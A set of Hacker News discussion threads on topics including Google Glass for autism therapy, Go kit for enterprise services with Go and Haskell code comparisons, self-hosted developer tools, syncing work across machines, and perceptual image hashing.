Google Glass May Have an Afterlife as a Device to Teach Autistic Children - lil-scamp https://www.nytimes.com/2019/07/17/technology/google-glass-device-treat-autism.html <comment><USER2> That is, a device to train autistic children to communicate "normally". Not a method for more effective teaching in general.

While obviously a biased sample, the #ActuallyAutistic reactions I've seen so far are... not enthusiastic (roughly: Holy shit, _again_ with the "eye contact" obsession; do you think we haven't figured out where your eyes are?).

The more articles like this I see, the more I get the whole "nothing about us without us" thing.

<comment><USER3> Agreed - while dressed up in technology (that flopped, for good reason) this is simply another way to try and force people into being "normal".

There is no need for this device, or the motive behind it, to exist.

<comment><USER4> More kids have ASD then ever before and there is a shortage of therapists. If this technology can make a clinical impact then it is a good thing. It broadens access to treatment. Much like voice technology like Siri and Alexa may help as well.

<comment><USER2> > If this technology can make a clinical impact then it is a good thing.

A major issue is that such impact for ASD is often (perhaps even typically) measured without bothering to ask the person whether they regard it as an improvement.

<comment><USER4> Intensive ABA therapy was shown to be effective in the 70s. We also know that the earlier you begin therapy the better the outcomes. So I should ask my 2 year old if they regard it as an improvement? My 3 year old? What about an infant? We see early signs of autism in infants. Not sure what you are on about here. You can see and assess improvement without asking a person. In fact someone with ASD might not even be able to tell you they feel improvement until much much later.

<comment><USER2> > So I should ask my 2 year old if they regard it as an improvement? My 3 year > old?

Uh, yes? You can also watch for things like avoidant behavior and distress (or the opposite) centered around the therapy process.

</comment></comment></comment></comment></comment></comment><comment><USER5> Google Glass is a great idea, but was sold to the wrong market. I believe there is a lot of niche markets that would really benefit from this - <AUTHOR> police, augmented reality tool for museums/historical sites visitors, people with physical disabilities and many others (like the one mentioned in the article).

I am sure Google knew this, but they also knew that this is not something that would provide sufficient income from their perspective.

</comment><comment><USER6> It also has a life as a business solution:

[https://www.cnet.com/news/google-glass-enterprise- edition-2-...](https://www.cnet.com/news/google-glass-enterprise- edition-2-gets-surprise-upgrade-and-new-frames/)

<comment><USER7> _" Google's Glass customers and partners currently include AGCO, DHL Group, HB Fuller, and Sutter Health."_

A decent start, but that's not really a list that suggests it will be anywhere near as significant as Google hinted 6 years ago.

<comment><USER6> They seem to have more than that:

[https://www.google.com/glass/partners/](https://www.google.com/glass/partners/)

<comment><USER7> VMWare seems a good nod. The others seem more of the same, though I may have missed a stealthy good catch.

</comment></comment></comment></comment><comment><USER8> [https://news.ycombinator.com/item?id=20464724](https://news.ycombinator.com/item?id=20464724)

</comment><comment><USER9> Google Glass project would never be completely dropped by Google, even though it didn't succeed as an accessory now; it has very obvious medical use cases.

As BMI/BCI tech improves, especially w.r.t vision a spectacle (aka glass) is the obvious choice to put a camera for input on the face; a spectacle with processing power like Google Glass is a convenient advantage.

</comment><comment><USER10> Maybe that's all it ever was..

</comment><comment><USER11> i still want one :)

<comment><USER8> [https://www.ebay.com/sch/i.html?_from=R40&_trksid=p2380057.m...](https://www.ebay.com/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR12.TRC2.A0.H0.XGoogle+Glass.TRS0&_nkw=Google+Glass&_sacat=0)</comment></comment>


Apple to launch Mac trade-in program next week - <AUTHOR> https://www.bloomberg.com/news/articles/2020-06-09/apple-to-launch-mac-trade-in-program-at-u-s-retail-stores <comment><USER2> I wish rather than buy the machines back at a massive discount, Apple would allow us to upgrade ourselves so we can extend the lifetime and usefulness of the machines. In just a few years a 20 - 30 terabyte NVMe upgrade would be feasible on all devices from the last few years if the storage wasn't soldered. Maxing our RAM and storage later and using our machines years longer because of it is vastly superior for the environment than Apple simply reusing what metals and parts they can.</comment>


Ask HN: Self-Hosted Development Team Tools - <AUTHOR>

Assuming that you were to self-host all the tools for your development team (and yes, I know this is a big assumption), what tools would you use? I'm thinking things like a web frontend to source code repositories, issue tracking, continuous integration, IRC, etc.<p>Following on this, if there was a single package or virtual machine image that would install and setup all these tools up with reasonable defaults (especially integrating with each other), a la MAMP/XAMPP, would you use it? <comment><USER2> [https://github.com/fzaninotto/uptime](https://github.com/fzaninotto/uptime) \- A remote monitoring application using Node.js, MongoDB, and Twitter Bootstrap.

[https://github.com/cantino/huginn](https://github.com/cantino/huginn) \- Huginn is a system for building agents that perform automated tasks for you online. They can read the web, watch for events, and take actions on your behalf. Huginn's Agents create and consume events, propagating events along a directed event flow graph. Think of it as Yahoo! Pipes plus IFTTT on your own server.

<comment><AUTHOR> While both tools are nice, do you think they're part of the core toolset of a development team? Both strike me as things you'd want later, once you have your own service live.

</comment></comment><comment><USER3> [https://pancakeapp.com/version4](https://pancakeapp.com/version4)

Don't let the version 3 fool you. Version 4 is phenomenal, and it will definitely replace any systems you currently have for time tracking and/or invoicing.

</comment><comment><USER4> GitLab has a self-hosted version that you can install on your own server, which I think has everything but tasks.

[http://gitlab.org/](http://gitlab.org/)

<comment><AUTHOR> Yes, GitLab's pretty good. It has per-project (that is, per repository) issues/tasks, but not ones that span several projects.

</comment></comment><comment><USER5> Phabricator is pretty awesome, it's a web fronted to source code, issue tracking, chat, etc.

And to the second question - yes probably!

<comment><USER6> thanks so much for sharing phabricator. that is really sweet.

<comment><AUTHOR> And it has a hilarious website!

<comment><USER7> Even babies and dogs can contribute.</comment></comment></comment></comment>


Go kit: Go in the modern enterprise - <AUTHOR> http://peter.bourgon.org/go-kit <comment><USER2> I'd be pretty nervous about any attempt to recreate Finagle in Go. Scala provides many ways of creating composable complexity. Finagle leverages pretty much every feature of Scala (and there are many) to maximize this composability in a sane way, but because there is simply so much complexity in Finagle, a lot of opportunities for composability have been skipped due to lack of need within Twitter (maybe finagle-http has significantly improved in the last year, which is mostly what I'm thinking about when I say this) but it's a LOT of complexity, sort of like the RoR of distributed systems, and when you want to diverge from Twitter's chosen trade-offs, it may be a hellish experience. It's pretty sweet for when your problem space aligns with Twitter's, however.

Go has basically none of the mechanisms for sanely creating composable complexity that Scala has. It makes me really grossed out to think about something with the complexity that Finagle exposes as a Go library. Go is all about small, sturdy tools that work for most of the cases most of the time and that compose well with each other - IF - they are built into the standard library. And if it's not, have fun spending your time writing uni-typed interfaces for any kind of interop with desired complexity. Go is great for writing dead simple byte slingers, pipelines that will be rigid in the most dynamic possibility, guns that shoot JS and interact with services, etc. That's simply not Finagle.

<comment><USER3> Could you provide examples (beyond generics) where 'composable complexity' helped finagle achieve a goal?

My experience with Scala has been that an author's 'composable complexity' becomes a reader's 'wtf is this complexity'.

Go's philosophy has been to avoid complexity altogether in most of the tools they give you, forcing you to write lowest-common-denominator code that anyone can easily understand. Generics are sorely missed, but I really don't see additional expressive power from most scala features, just additional things I need to keep in my head for an occasional 5-line savings in the middle of some method (which IMO doesn't change the complexity equation at all). Would love to see some beautiful examples that change my mind.

<comment><USER4> Go libraries are typically highly composable because they operate mostly on primitives or strictly defined common interfaces. Orthogonality is a key feature.

<comment><USER5> If I recall correctly those libraries aren't type safe _and_ composable, but perhaps I'm remembering wrong.

<comment><USER4> They are type safe, except for the unsafe package but it's hard not to know what you're getting into with that one.

One of the best examples of composability is the Reader and Writer interface. They're designed to operate on slices of bytes, so a package intended to read from a Reader can read from files, stdin, networks, sockets, and a myriad other systems with absolutely no changes to the package's code or its implementation.

<comment><USER5> How would you do decode this json in a type safe way using Go?

        {"purchaseType": "Rent","price": 0.99,"title": "inception"}

Here is an implementation in Haskell:

        {-# LANGUAGE DeriveGeneric #-}
        {-# LANGUAGE OverloadedStrings #-}

        import Data.Aeson
        import GHC.Generics
        import qualified Data.ByteString.Lazy as BL

        data PurchaseType = Free | Rent | Buy | Subscriber deriving (Show, Generic)
        instance FromJSON PurchaseType
        instance ToJSON PurchaseType

        data Media = Media { title :: String, price :: Float, purchaseType :: PurchaseType} deriving (Show, Generic)

        instance FromJSON Media
        instance ToJSON Media

        jsonData = "{\"title\": \"inception\", \"price\": 0.99, \"purchaseType\": \"Rent\"}"

        main = print $ (decode jsonData :: Maybe Media)
        -- running main gets:
        -- λ> main
        -- Just (Media {title = "inception", price = 0.99, purchaseType = Rent})

EDIT: Spec Change, boss wants an order confirmation message!

        orderConfirmationMessage (Media mediaTitle _ Rent) = putStrLn ("Thanks for renting " ++ mediaTitle)

Then we recompile and... what's this?

        Main.hs:19:1-100: Warning: …
            Pattern match(es) are non-exhaustive
            In an equation for 'orderConfirmationMessage':
                Patterns not matched:
                    Media _ _ Free
                    Media _ _ Buy
                    Media _ _ Subscriber

Good thing GHC had told us Free/Buy/Subscriber's needed messages instead of our boss! In fact, had I been using -Wall this would be a compile time error.

Getting to the point, my real questions are:

1\. What is Go's way of ensuring your function handles cases like this, or is there an idiomatic way of avoiding it?

2\. How do you discern between MovieType's without resorting to just using Strings and compromising type safety?

<comment><USER4> How about an array of Media?

        package main

        import (
            "encoding/json"
            "fmt"
        )

        type Media struct {
            Title        string
            Price        float64
            PurchaseType string
        }

        func main() {
            jsonData := []byte(`
                [
                    {"purchaseType":"Rent","price":0.99,"title":"Inception"},
                    {"purchaseType":"Free","price":0.00,"title":"Johnny Mnemonic"},
                    {"purchaseType":"Buy","price":17.99,"title":"John Wick"}
                ]
            `)
            var media []Media
            err := json.Unmarshal(jsonData, &media)
            if err != nil {
                fmt.Println("error: ", err)
            }
            fmt.Printf("%+v\n", media)
        }

Output:

        $ go run main.go
        [{Title:Inception Price:0.99 PurchaseType:Rent}
        {Title:Johnny Mnemonic Price:0 PurchaseType:Free}
        {Title:John Wick Price:17.99 PurchaseType:Buy}]

Edit: Regarding the MediaType: [http://stackoverflow.com/questions/14426366/what-is-an- idiom...](http://stackoverflow.com/questions/14426366/what-is-an-idiomatic- way-of-representing-enums-in-golang)

<comment><AUTHOR> PurchaseType doesn't need to be stringly typed. See [https://talks.golang.org/2015/json.slide#1](https://talks.golang.org/2015/json.slide#1).

        type PurchaseType byte

        const (
            Free PurchaseType = iota
            Rent
            Buy
        )

        func (t *PurchaseType) UnmarshalJSON(data []byte) error {
            var s string
            if err := json.Unmarshal(data, &s); err != nil {
                return fmt.Errorf("purchase type should be a string, got %s", data)
            }
            have, ok := map[string]PurchaseType{"Free": Free, "Rent": Rent, "Buy": Buy}[s]
            if !ok {
                return fmt.Errorf("invalid purchase type %q", s)
            }
            *t = have
            return nil
        }

That's enough to give this output:

        [{Inception 0.99 Rent} {Johnny Mnemonic 0 Free} {John Wick 17.99 Buy}]

[http://play.golang.org/p/dyNVlgmFtu](http://play.golang.org/p/dyNVlgmFtu)

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER6> This is well written.

I gave a talk at the (unaffiliated) Hacker News London Meetup on composing a microservice architecture and why I think a framework to bind today's disparate components needs to exist: [http://vimeo.com/118895501](http://vimeo.com/118895501)

I don't so much believe that any language is perfectly poised to implement this, however - we're working on a framework[1] that focuses on making every language a first-class participant.

Furthermore, it's self-hosting, with most of the core itself implemented as communicating microservices.

It's possible to reimplement bits of the core in different languages!

We've been waiting to finish a polished implementation before releasing anything (and talking to individual companies about their needs), but I'm starting to think that's a bad idea. :)

[1]: [http://wym.io/](http://wym.io/)

<comment><USER7> What's the difference between a spec and a "multi-language" framework? I mean there is none. You can't have a multi language framework without a strict interface therefore a spec. Now what you provide seems to be the actual framework and just not a spec,which is great, but how is it different from Rest or SOAP, in essence?

Also,since languages are vastly different(in features), don't you think it will limit what your framework can do?

Great talk anyway.

I believe however,that having a central authority that orchestrates services is better than micro services that can talk directly to each other.In my opinion,some kind of mediator is mandatory,one that registers services and manage service communication.

<comment><USER6> Addressing each of your points in turn:

\- What's the difference from a spec?

There used to be a FAQ on our site emphasising that at its core _wym_ is a spec. Our reference implementation, itself made up of multiple pieces (wymd, wymsy, oneweb, ...) provides a way to actually make use of that spec and to validate all the guarantees of the strict interfaces.

Also, I'm not a fan of entities who would define a spec in isolation without a reference implementation alongside it - where's the proof that you're making the right decisions? We provide that implementation to keep ourselves grounded.

\- Won't multi-language limit features?

Not really.

For one thing, since we're self-hosting we can't afford to lack power and expressivity. For example everyone has the ability to refer to types (as per generics) else we wouldn't be able to implement the core. ;)

Our interface language - it's quite simple, to make the addition of new language bindings trivial, but we expose built-in services to use more powerful features simply by switching which nodes you're holding on to - there's a data-implementation divide, where a node needn't understand a feature in order to deal in its data.

The net effect is that language bindings can be created trivially and evolved to support features as a good way of dealing with them is found (e.g. in the simplest case, Javascript Int64 support).

\- Having a central authority is better.

This is an interesting one :D - I agree, in a way. A wymd cluster self-starts a consensus using a lock service, performs master election and then uses this consensus service for registration and discovery.

We have an elected distributed authority. :P

</comment></comment></comment><comment><USER3> Any efforts towards a version-numbering standard for dependencies? Godeps is ok as a workaround, but published versions of things like logging packages, etc, would make me feel a lot safer when depending on them.

And no, I'd rather not 'vendor' source-snapshots of a logging package into every project I ever work on.

<comment><USER8> That's an interesting point. Does Go have an equivalent of Sonatype's Nexus ?

This is basically mandatory in most enterprises since often you can't just go into the wild to pickup new dependencies. Plus keeping build artefacts managed is pretty important.

<comment><USER9> Man, that page needs a "What is Nexus?" link. I can't really tell what it is.. I guess some sort of central repo for packages?

What go has is Godep ([https://github.com/tools/godep](https://github.com/tools/godep)) which with a single command can copy all your project's dependencies into your repo. from there on out, the dependencies are just part of source control like anything else, so you don't have to open up your build machine to the external internet, for example.

<comment><USER8> Yes. It is just a central repo that also does caching/proxying of external repositories. In many enterprises developers won't have access to download from the external internet so godep won't work.

It also has a fine grained security model and allows for security evaluations of libraries (check for outdated/insecure etc).

</comment></comment></comment></comment><comment><USER10> The problem is in enterprise Go is really hard to push currently due to management no having proper understanding of it. I believe Go is the future and I recently tried to push Go in using it to write a new semi-real time system to handle many little messages with complex business logic but nope CTO went with node.js and have a callback hell.

Sorry didn't mean to rant... Love Go its the future, use it.

<comment><USER11> So why is node, with it's callback hell and single thread, worse? Is it syntax? That single thread assumption can free you from some significant problems, you know. golang's own http lib is event driven and uses callbacks, but perhaps less hellishly. I agree it is hard to push go if you don't properly understand it.

<comment><USER12> Go's http package doesn't use callbacks at the API level. See here [http://golang.org/pkg/net/http/](http://golang.org/pkg/net/http/)

</comment></comment></comment><comment><USER13> As for metrics - we've been working precisely on that @ [https://deferpanic.com](https://deferpanic.com) . To some extent logging as well. This means (exactly as OP mentioned) - memory, gc, go-routines, request durations, db query latency, logging errors/panics, etc.

We are extremely open to suggestions/feedback.

One key point I'd like to point out though, is that OP specifically mentioned the go kit being targeted towards a company with "100–1000+ engineers". I think this is highly on point - if you have less engineers than this you probably don't have enough resources to maintain these sorts of systems yourselves and this is where we think we can help out.

</comment><comment><USER14> _When we read the word enterprise we probably think of older, slow-moving bureaucracies, like IBM, HP, or even Red Hat. But it's been a long time since companies like those have been technical leaders. Decades, in some cases. Now, companies like Google, Amazon, Twitter, Netflix, Facebook, Spotify, or even SoundCloud set the tone for our industry. These modern enterprises tend to share a few characteristics..._

Ouch! I work for HP and while I agree that we're not exactly a nimble, fast moving startup I think it's not a good comparison. IBM and HP still build a lot of physical things while the listed "modern" enterprises are primarily SW. Google would be the exception here but from an engineering point of view Google uses it's vast war chest to play around with very cool HW but isn't much concerned with running a business based on that. So, I hope Go has a good run of it but it's not going to build your next printer.

<comment><USER15> He's talking about software.

</comment></comment><comment><USER16> This is a great start. I'm actually in the middle of a writing a Golang service, and this list checks off everything I've been dealing with.

A lot of these things aren't golang-specific, though. Ideally it would be easy to swap in services written in different languages, and the conventions stay the same.

</comment><comment><USER17> This is great. I hope something like this is built. Go needs it.

However, not only did we need something like this 5 years ago, we needed it to be language/platform agnostic then. We need it more so now. We won't be able to function without it 5 years from now.

The reality is Pandora's box has been opened there is no going back. We have software we need to run in production at scale that is written in a multitude of languages. We have our Python/Perl monitoring systems talking to our Java search APIs talking to our NodeJS frontend APIs talking to our legacy C#/Java/C++ applications over messaging systems written in Erlang/Ruby/Java/Go.

Every single one of these platforms need this functionality and everything needs to run in a cutthroat environment with fewer people, resources, and money to manage it.

We need performance, discoverability, security, scalability, deployability, testability, reliability and most importantly EASY. Not enterprisey over- engineered bullshit. I mean real easy to use plug and play, simple APIs, minimal JSON/YAML, small focused tools simple.

We need to do it in a way that is portable to every cloud provider so we can get the best bang for our buck and keep the cloud providers honest and avoid lock in.

We need to do it in a way that makes the "hardware" vanish. We don't want to manage hardware anymore. We want to deploy our software and we want to know it will work and we don't want to compromise functionality (ala Google App Engine or being forced into the "Tomcat 7" box).

I applaud this line of thinking, but I don't think it goes far enough. In 5 years time, I don't think we'll deploy servers anymore. We'll deploy services and those services will be in whatever language and those services will find each other and communicate with each other over the network and will be reliable, secure, and scalable.

Most importantly, it needs to be open. Truly open. We don't want to trade one master for another.

That's the software I would like to see. This could be a foundational component of something like this, but it's only the beginning.

I know about CoreOS/Docker/Mesos/Marathon, etc. Tools like those are an important piece of this puzzle, but not the only piece. They are a vast improvement over past initiatives ( _cough_ openstack _cough_ ), but they too are only a step in the right direction. We still have a lot of work to do to realize this vision of the future.

<comment><USER18> I am old enough that I used CORBA. That basically checked all your boxes... multi-language, platform agnostic, discoverable, standardized serialization formats, you name it.

It was also an overly complex piece of shit.

People learn nothing from the past.

<comment><USER6> I beg to disagree. I just gave a talk[1] about exactly how we[2] went back and took time to learn lessons from designs like CORBA (we're building another microservices framework).

Not least I talk about how it's important to build something that modularises complexity and above all else, focuses first on being _usable by humans_ rather than on technical ascension.

_Some_ of us _are_ listening.

[1]: [https://vimeo.com/118895501](https://vimeo.com/118895501)

[2]: [http://wym.io/](http://wym.io/)

</comment></comment></comment><comment><USER18> Uh oh. The "framework people" found us.

Hopefully they'll be too busy writing AbstractFactoryBuilderServiceDispatcherProxies to actually do any damage to production systems...

<comment><USER15> I've talked to the author extensively about these ideas, and let me assure you he is firmly in the "no monolithic frameworks please" camp. (He's also the author of some great Go code, btw.)

What he proposes here looks more to me like a standard library for building distributed systems, which makes a lot of sense to me.

<comment><USER18> I don't see the difference between "a standard libary for building systems" and a framework. Just write libraries for what you need and forget the idea of some overarching framework.

<comment><USER15> When we built the Go standard library it was valuable for us to think of it as a whole. What would most of our users need? Are there any gaps? I think the gokit project is a good opportunity to focus the energies of likeminded people in the Go community, to close the gaps and work together.

</comment></comment></comment></comment><comment><USER19> Hey just curious, why did you pick spacemonkeygo/monitor over mozilla- services/heka for data collection?

I was thinking of using heka for a logstash-like project and just wanted to see if you had found several know issues, or that monitor really shined, or that maybe the feature set you needed just didn't overlap to the point they were comparable for your needs?

<comment><AUTHOR> It wasn't chosen for anything, it was just a related project. And I guess not for its data collection functionality -- that's orthogonal to the goals of the toolkit -- but presumably for the instrumentation and request tracing bits.

</comment></comment><comment><USER20> Sounds like a package manager with s/glibc/go packages/ and s/otherlibs/go packages/

Not necessarily bad but.

In fact this is similar to how Go replaces the OS scheduling and message passing.

Maybe its a necessary path to evolution. Til the OS itself can get fixed without "it doesnt run X or Z" problems.

</comment><comment><USER21> I´m all for in increased uptake of go. But I don want it getting dragged into Enterprise with a big ¨E¨ and going the way of java with its monolithic enterprise frameworks.

Somehow we will end up losing the features of the language that make is currently so endearing.

</comment><comment><USER22> Golang just needs more database drivers for enterprise products (Informix...), and some libraries that make office products and the windows enironment (active direcory...) more assimilable.

<comment><USER23> I completely agree. Active directory. Better database drivers have blocked me from using Go on several projects at work.

</comment></comment><comment><USER5> A related musing about Go I wrote somewhere else before...

Option types as well as lack of support for things like either and generics are why Go quickly became unappealing to me for real world work.

Check out this haskell example (note that the exceptions are values as well, so this is more flexible than most languages try or panic in Go):

        failureExample :: IO (Either SomeException (Response LBS.ByteString))
        failureExample = try $ do
          get "http://www.httpbin.org/status/200"
          get "http://www.httpbin.org/status/200"
          get "http://www.httpbin.org/status/200"
          get "http://www.httpbin.org/status/404"

        main = failureExample >>= \case
          Right r -> putStrLn $ "The successful pages status was (spoiler: it's 200!): " ++ show (r ^. responseStatus)
          Left e -> putStrLn ("error: " ++ show e)

The equivalent Go is much longer and needlessly verbose:

        func failureExample()(*http.Response) {
            // 1st get, do nothing if success else print exception and exit
            response, err := http.Get("http://httpbin.org/status/200")
            if err != nil {
                fmt.Printf("%s", err)
                os.Exit(1)
            } else {
                defer response.Body.Close()
            }

            // 2nd get, do nothing if success else print exception and exit
            response2, err := http.Get("http://httpbin.org/status/200")
            if err != nil {
                fmt.Printf("%s", err)
                os.Exit(1)
            } else {
                defer response2.Body.Close()
            }

            // 3rd get, do nothing if success else print exception and exit
            response3, err := http.Get("http://httpbin.org/status/200")
            if err != nil {
                fmt.Printf("%s", err)
                os.Exit(1)
            } else {
                defer response3.Body.Close()
            }

            // 4th get, return response if success else print exception and exit
            response4, err := http.Get("http://httpbin.org/status/404")
            if err != nil {
                fmt.Printf("%s", err)
                os.Exit(1)
            } else {
                defer response4.Body.Close()
            }

            return response4
        }

        func main() {
            fmt.Println("A failure.")
            failure := failureExample();
            fmt.Println(failure);
        }

This code is all tested/runs and I might be putting this along with other issues I've had in a blog post, but no promises. I think this makes it very apparent why some people have an issue with Go, namely that it feels like going backwards and ignores lots of prior research at the altar of some deluded notion of pragmatism. I say that despite a Go Gopher staring at me on my desk.

<comment><USER4> I'm not familiar with Haskell so I can't exactly follow what you're trying to do, but I can take a stab at improving what your Go code is doing:

        package main

        import (
            "fmt"
            "net/http"
        )

        func main() {
            for _, url := range []string{
                "http://httpbin.org/status/200",
                "http://httpbin.org/status/200",
                "http://httpbin.org/status/200",
                "http://httpbin.org/status/404",
            } {
                fmt.Printf("%s: %d\n", url, checkUrl(url))
            }
        }

        func checkUrl(url string) int {
            response, err := http.Get(url)
            if err != nil {
                panic(err)
            }
            defer response.Body.Close()
            return response.StatusCode
        }

You say of your Haskell code that errors are values, and Go is no different in this regard. checkUrl could easily be modified to return (int, error) and return both values, rather than panicking when an error occurs.

<comment><USER5> Cool, that's a good refactoring.

What if we don't care about the errors and just want to return nil or the value. The caveat is that when any of your http requests get a non 200 response code no further processing is done and nil is returned.

<comment><USER4> What I would do in that case is modify checkUrl to return a bool, change the return to return response.StatusCode == 200, and change the for loop contents to

        if !checkUrl(url){
            fmt.Printf("Non-200 response for %s", url)
            break
        }

</comment></comment></comment></comment><comment><USER24> > In this environment, a language like Go has the opportunity to shine.

Go has another advantage over Scala (and any other JVM langauge), which also happens to be it's killer feature - green threads, the ability to write non- blocking concurrent code in a synchronous style without callbacks. Yes, I am sure Scala has some "leaky abstraction" over what are essentially just callbacks, as does Java, but it's not quite the same.

<comment><USER25> No, it's certainly not an advantage in every case, because that's __all __you can use. It 's not always the best tool for the job. Under the JVM, you have a __massive __amount of library support for multithreading and concurrency. You have things available like Futures, STM (Software transaction model), Actor Model (Akka), parallel collections, etc... Not to mention taking advantage of immutability, which can simplify concurrency a lot in some cases.

It's not a one-size-fits-all type of game here. So having one choice will essentially lock you into what you can do with it.

I also wouldn't say a Future, which is a Monad, a leaky abstraction. You don't really need to understand monads to use them, in fact, a lot of people use what are monads all the time, without knowing it.

<comment><USER5> > STM (Software transaction model)

I thought this was software transactional memory? Java has an implementation?

<comment><USER25> Oops, not sure why I put that, it's indeed software transactional memory. Akka is a pretty known library that supports it.

</comment></comment></comment></comment><comment><USER8> I wonder if this guy has actually worked in the "enterprise" before because it sure isn't what he is talking about. Companies like Facebook, Soundcloud etc are nothing more than bigger startups. Go work for a bank sometime and then tell me they are comparable to Spotify.

As for Go. What it really needs is a great story around Java integration. JDBC drivers and libraries need to just work out of the box. Then you can talk about building cute little micro services.

And Scala's toolchain is pretty simple at least with something like Play.

<comment><USER26> Agree. I also wonder what this inferiority complex "hurr durr, $X is not written in Go, therefore we need to duplicate it in Go!!!" is about ...

<comment><USER4> Look, it's pretty obvious from your comments that you're not a fan of Go, but if you can come to terms with the fact that some people enjoy languages you do not (or their use is mandated by their work environment) then you'll also be able to understand that they would also like certain tools and libraries available to them in that language.

It's not about recreating everything in Go "just because", it's about being a Go developer and wanting those tools to be available to you.

<comment><USER27> This highlights a bigger problem: why should you have to reimplement the same idea hundreds of times if what you already want to do already exists?

<comment><USER4> I don't look at it as reinventing the wheel, any more than one would consider the advent of new languages and technologies a reinvention. They're iterations on the concept, bringing that concept into a new environment to be further refined or built upon.

Other threads in this discussion bring up Finagle's shortcomings, partly due to certain features not being addressed or included by Finagle's authors due to them being low priority. In that case what you want may not already exist, but may work as inspiration for another incarnation.</comment></comment></comment></comment></comment>


Ask HN: I want to unify my computing to a VM - <AUTHOR> I have a work PC, a personal MacBook Pro, and a desktop that runs my media server.
I'm tired of transferring files back and forth, and want to unify these machines. Beyond having my MacBook Pro permanently sitting there with VNC running so I can access it, I want to move entirely to a VM that I can access from my barebones MacBook Pro, my media PC or my work PC. Or my phone. I know AWS and a million other companies offer VPS, and maybe I'm over complicating it - but I desperately want a single system that I can bring up from any terminal I happen to be using at the time. I'd be happy to bring it with me on a USB disk, and launch it with portable VMware in a pinch, but would much rather have it be cloud based, and running OSX.
Does anyone have any insight or ideas for how to move away from having multiple computers without replacing my work machine? <comment><USER2> Doing your work over VNC on a VPS will result in latency. Furthermore, all your machines degrade to thin clients and all work is done on the VPS. So better get a strong VPS and don't invest into something like a MacBook Pro.

Doing your work on a VM which you sync between the machines is an interesting attempt -- most people I know instead sync the data (with cloud services or git) and especially program settings (like dotfiles, mostly with git). The slowdown of working in a VM instead of natively will be dominated by the performance of the GUI virtualization. VMware is especially known for good GPU support. Obviously, the advantage of a VM is that you can make use of your local ressources. However, VMs most likely won't allow to change the number of CPU cores or memory during runtime, which means you have to work on the smallest possible denominator of the ressources available (i.e. you are most likely limited by the RAM of your smallest machine). Depending on the work you intend to do, this might not be a problem.

I'm not aware of good programs to sync VMs between machines, but I'm sure there are.

</comment><comment><USER3> I thought about doing this but opted to use a shared dotfiles directory across all my computers instead.

That way I can keep it up in git and then download it on every new computer, then from the command line and the home directory I run:

      ln -S dotfiles/.vim
      ln -S dotfiles/.vimrc
      ln -S ..

Then I can use it as if it exists locally, then every so often go into the dotfiles directory and push my changes up.

For media, I use a dropbox account which works across all devices perfectly

</comment><comment><USER4> Have you thought about Docker? It's designed for exactly this scenario. You package up your machine's requirements into a Docker file which can be moved between hosts.

The setup process is still a little crusty but it does work.</comment>


Ask HN: Do you know any clothing/fashion ecommerce api? - <AUTHOR> So far most APIs I found are for sellers/retailers, do you know of any clothing/fashion ecommerce that offers developer API? <comment><AUTHOR> Nvm, I found one offered by ShopStyle ([https://www.shopstylecollective.com](https://www.shopstylecollective.com))</comment>


Perceptual Image Hashing - <AUTHOR> http://bertolami.com/index.php?engine=blog&content=posts&detail=perceptual-hashing <comment><USER2> This made me think of something, so bear with me for a second. I took Andrew Ng's Machine Learning class on Coursera, and one of the things he talked about was how, given a certain data set and a logistic regression approach, the algorithm might decide to just always give it a value of 1, since 98% of the time the value is one.

The examples given here were all predicted to have 95%+ similarity, but it seems to me that given this dataset, I could be reasonably convinced that it just assumes all images are reasonably similar. In other words, the author provides no counter-examples that demonstrate that the algorithm can detect _dissimilar_ images, such as a photo of a car and a clipart of pizza. I would expect that to have very low similarity, and given the algorithm's demonstrated ability to discern between similar and dissimilar images, I would be more convinced of perceptual image hashing as a viable technique.

<comment><USER3> While your comment applies on a broader sense (we need to test both for cases in which we expect the algorithm to find similarity and cases in which we expect to find dissimilarity - lest we embrace confirmation bias), I believe your reference to machine learning is a bit off.

In this case, we are not looking at a model training, we are just evaluating the outcome of a (static) algorithm. On the other hand, in the context of ML you should try to include as much information as possible in your training dataset. This is a concept that comes by in many fields, some of them just tangentially related to machine learning (e.g. excitation signals for system identification, speaking both in terms of frequency domain and differential equations).

tl;dr: there is no "training set" to speak in the presented article - hence, concepts such as overfitting and information content (of the training set) do not quite apply here.

<comment><USER2> I wasn't making a direct comparison between machine learning and this particular task. The article just made me think of that machine learning problem, and I would like to see more examples that show a wide range of results. For instance, there are no examples of false positives -- how often would that happen in an image processor? Probably a lot, but I wouldn't know it based on this particular article.

</comment></comment></comment><comment><USER4> I've used this technique before for image searching, here's some tips:

The algorithm presented here can be summarized as "Take the low-frequency DCT components of the luminance channel, quantized down to one bit". Hashing is a very misleading term for what you get from it: In particular, it doesn't have anything like the uniform coverage of the output space you would expect from a hash function, as almost all encountered images exist in a very small range of hashes. Also, the bits in the hash are not all created equal; assuming you encode them in a zig-zag pattern truncation is equivalent to a low-pass filter, so if you want to make the hash different sizes while matching on the same image elements you'll want to alter the quantization amount, not the output DCT size (this is directly equivalent to what JPEG does, which uses a fixed DCT size but lossily quantizes the information in it to varying degrees for different compression quality settings). Experiment with different quantization techniques; you don't have to treat every bit in the output the same.

This technique is only suitable for a small subset of the image files that you will encounter in the real world: it's mostly unsuitable for anything but photographs and photograph-like images (3d renders, paintings, etc.) Many classes of image have no useful distinguishing information in the low- frequency luminance space, such as screenshots, pictures of text, line drawings, many forms of graph and diagram, most "clip art" style drawings, pictures that include layout elements in the image file (like most of the meme/sucessories/demotivator format pictures you'll see on imageboards). Of course, an image with a flat or heavily compressed luminance channel will yield no information at all.

You don't have to do anything special to match flipped images, as you should be using (iirc) DCT-II that has the same output for a mirror image. It's insensitive to scaling and mild translation.

For debugging purposes, note that the transformation performed is lossy but easily reversible: you can undo all the steps but quantization to generate a 'stereotype' image of a particular hash value and its neighbors. There is no more information available to the matching algorithm than you can see with your own eyes with the round-trip conversion, so if the round-tripped image preserves important distinguishing detail the matching will work and if it turns the image into a meaningless grey smear you'll get tons of false positive matches.

<comment><USER5> Is there a good technique / library for comparing screenshot-like images?

</comment></comment><comment><USER6> Is it different from existing implementations? Am I missing something?

[http://phash.org/](http://phash.org/)

[http://hzqtc.github.io/2013/04/image-duplication- detection.h...](http://hzqtc.github.io/2013/04/image-duplication- detection.html)

[http://www.hackerfactor.com/blog/?/archives/432-Looks- Like-I...](http://www.hackerfactor.com/blog/?/archives/432-Looks-Like-It.html)

<comment><USER7> A more tactful question might be, "How is it different from existing implementations?" And then don't ask "Am I missing something?"

